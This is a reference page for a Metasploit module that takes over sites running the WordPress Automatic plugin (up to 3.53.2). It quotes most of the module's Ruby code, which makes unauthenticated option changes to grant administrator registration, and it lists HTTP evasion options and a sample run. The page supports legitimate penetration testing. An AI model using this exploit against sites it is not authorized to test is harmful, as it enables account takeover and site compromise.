WordPress Plugin Automatic Config Change to RCE - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/wp_automatic_plugin_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: WordPress Plugin Automatic Config Change to RCE
Module: auxiliary/admin/http/wp_automatic_plugin_privesc
Source code: modules/auxiliary/admin/http/wp_automatic_plugin_privesc.rb
Disclosure date: 2021-09-06
Last modification time: 2021-11-04 15:28:05 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits an unauthenticated arbitrary wordpress options change vulnerability in the Automatic (wp-automatic) plugin <= 3.53.2. If WPEMAIL is provided, the administrator's email address will be changed. User registration is enabled, and default user role is set to administrator. A user is then created with the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • config-changes: Module modifies some configuration setting on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/admin/http/wp_automatic_plugin_privesc
msf auxiliary(wp_automatic_plugin_privesc) > show targets
    ... a list of targets ...
msf auxiliary(wp_automatic_plugin_privesc) > set TARGET target-id
msf auxiliary(wp_automatic_plugin_privesc) > show options
    ... show and set options ...
msf auxiliary(wp_automatic_plugin_privesc) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • EMAIL: Email for registration

Knowledge Base


Vulnerable Application


This module exploits an unauthenticated arbitrary wordpress options change vulnerability in the Automatic (wp-automatic) plugin <= 3.53.2.

If WPEMAIL is provided, the administrator's email address will be changed.

User registration is enabled, and default user role is set to administrator. A user is then created with the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).

A vulnerable version of the plugin can be downloaded here

Verification Steps


  1. Install the vulnerable plugin
  2. Start msfconsole
  3. Do: use auxiliary/admin/http/wp_automatic_plugin_privesc
  4. Do: set rhosts [IPs]
  5. Do: set email [email address]
  6. Do: run
  7. You should get an email to setup your new admin account.

Options


EMAIL

Email for registration. No default.

USER

Username for registration, defaults to msfuser

WPEMAIL

Wordpress Administration Email. No default.

Scenarios


wp-automatic 3.50.7 on Wordpress 5.4.4 No WPEMAIL

resource (automatic.rb)> use auxiliary/admin/http/wp_automatic_plugin_privesc
[*] Using auxiliary/admin/http/wp_automatic_plugin_privesc
resource (automatic.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (automatic.rb)> set verbose true
verbose => true
resource (automatic.rb)> set email [email protected]
email => [email protected]
resource (automatic.rb)> run
[*] Running module against 1.1.1.1
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Enabling user registrations...
[*] Setting the default user role type to administrator...
[*] Registering msfuser with email [email protected]
[+] For a shell: use exploits/unix/webapp/wp_admin_shell_upload
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the admin/http/wp_automatic_plugin_privesc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/wp_automatic_plugin_privesc

msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show info

       Name: WordPress Plugin Automatic Config Change to RCE
     Module: auxiliary/admin/http/wp_automatic_plugin_privesc
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-09-06

Provided by:
  h00die
  Jerome Bruandet

Module side effects:
 config-changes
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  EMAIL                       yes       Email for registration
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  USER       msfuser          yes       Username for registration
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits an unauthenticated arbitrary wordpress options 
  change vulnerability in the Automatic (wp-automatic) plugin <= 
  3.53.2. If WPEMAIL is provided, the administrator's email address 
  will be changed. User registration is enabled, and default user role 
  is set to administrator. A user is then created with the USER name 
  set. A valid EMAIL is required to get the registration email (not 
  handled in MSF).

References:
  https://blog.nintechnet.com/critical-vulnerability-fixed-in-wordpress-automatic-plugin/
  NOCVE (Patched in 3.53.3 without vendor disclosure)

Module Options


This is a complete list of options available in the admin/http/wp_automatic_plugin_privesc auxiliary module:

msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show options

Module options (auxiliary/admin/http/wp_automatic_plugin_privesc):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   EMAIL                       yes       Email for registration
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USER       msfuser          yes       Username for registration
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/wp_automatic_plugin_privesc auxiliary module:

msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show advanced

Module advanced options (auxiliary/admin/http/wp_automatic_plugin_privesc):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   AutoCheck             true                                                no        Run check before exploit
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit          false                                               no        Override check result
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, T
                                                                                       LS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory
   WPEMAIL                                                                   no        Wordpress Administration Email (default: no email modification)

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/wp_automatic_plugin_privesc module can do:

msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/wp_automatic_plugin_privesc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/wp_automatic_plugin_privesc) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Wordpress not detected.


Here is a relevant code snippet related to the "Wordpress not detected." error message:

50:	      OptString.new('WPEMAIL', [false, 'Wordpress Administration Email (default: no email modification)', nil, nil, URI::MailTo::EMAIL_REGEXP])
51:	    ]
52:	  end
53:	
54:	  def check
55:	    return Exploit::CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
56:	
57:	    # this is for pickup into the vulnerable plugins list
58:	    # check_plugin_version_from_readme('wp-automatic', '3.53.3')
59:	
60:	    if set_wp_option(Rex::Text.rand_text_numeric(8..20), Rex::Text.rand_text_numeric(8..20))

Automatic not a vulnerable version


Here is a relevant code snippet related to the "Automatic not a vulnerable version" error message:

59:	
60:	    if set_wp_option(Rex::Text.rand_text_numeric(8..20), Rex::Text.rand_text_numeric(8..20))
61:	      checkcode = Exploit::CheckCode::Vulnerable
62:	    else
63:	      checkcode = Exploit::CheckCode::Safe
64:	      print_error('Automatic not a vulnerable version')
65:	    end
66:	    checkcode
67:	  end
68:	
69:	  def set_wp_option(key, value)

Site not responding


Here is a relevant code snippet related to the "Site not responding" error message:

72:	      'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'process_form.php'),
73:	      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
74:	      'vars_post' => { key => value },
75:	      'keep_cookies' => 'true'
76:	    })
77:	    fail_with(Failure::Unreachable, 'Site not responding') unless res
78:	    res && res.code == 200 && res.body.include?('{"status":"success"}')
79:	  end
80:	
81:	  def run
82:	    # lots of copy pasta from wp_gdpr_compliance_privesc

Changing admin e-mail address to <WPEMAIL>...


Here is a relevant code snippet related to the "Changing admin e-mail address to <WPEMAIL>..." error message:

79:	  end
80:	
81:	  def run
82:	    # lots of copy pasta from wp_gdpr_compliance_privesc
83:	    if datastore['WPEMAIL'].present?
84:	      print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
85:	      fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])
86:	    end
87:	
88:	    print_status('Enabling user registrations...')
89:	    fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')

Failed to change the admin e-mail address


Here is a relevant code snippet related to the "Failed to change the admin e-mail address" error message:

80:	
81:	  def run
82:	    # lots of copy pasta from wp_gdpr_compliance_privesc
83:	    if datastore['WPEMAIL'].present?
84:	      print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
85:	      fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])
86:	    end
87:	
88:	    print_status('Enabling user registrations...')
89:	    fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:	

Failed to enable user registrations


Here is a relevant code snippet related to the "Failed to enable user registrations" error message:

84:	      print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
85:	      fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') unless set_wp_option('admin_email', datastore['WPEMAIL'])
86:	    end
87:	
88:	    print_status('Enabling user registrations...')
89:	    fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:	
91:	    print_status('Setting the default user role type to administrator...')
92:	    fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')
93:	
94:	    print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")

Failed to set the default user role


Here is a relevant code snippet related to the "Failed to set the default user role" error message:

87:	
88:	    print_status('Enabling user registrations...')
89:	    fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:	
91:	    print_status('Setting the default user role type to administrator...')
92:	    fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')
93:	
94:	    print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
95:	    fail_with(Failure::UnexpectedReply, 'Failed to register user') unless datastore['EMAIL'].present? && wordpress_register(datastore['USER'], datastore['EMAIL'])
96:	
97:	    vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')

Failed to register user


Here is a relevant code snippet related to the "Failed to register user" error message:

89:	    fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') unless set_wp_option('users_can_register', '1')
90:	
91:	    print_status('Setting the default user role type to administrator...')
92:	    fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') unless set_wp_option('default_role', 'administrator')
93:	
94:	    print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
95:	    fail_with(Failure::UnexpectedReply, 'Failed to register user') unless datastore['EMAIL'].present? && wordpress_register(datastore['USER'], datastore['EMAIL'])
96:	
97:	    vprint_good('For a shell: use exploits/unix/webapp/wp_admin_shell_upload')
98:	  end
99:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • h00die
  • Jerome Bruandet

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.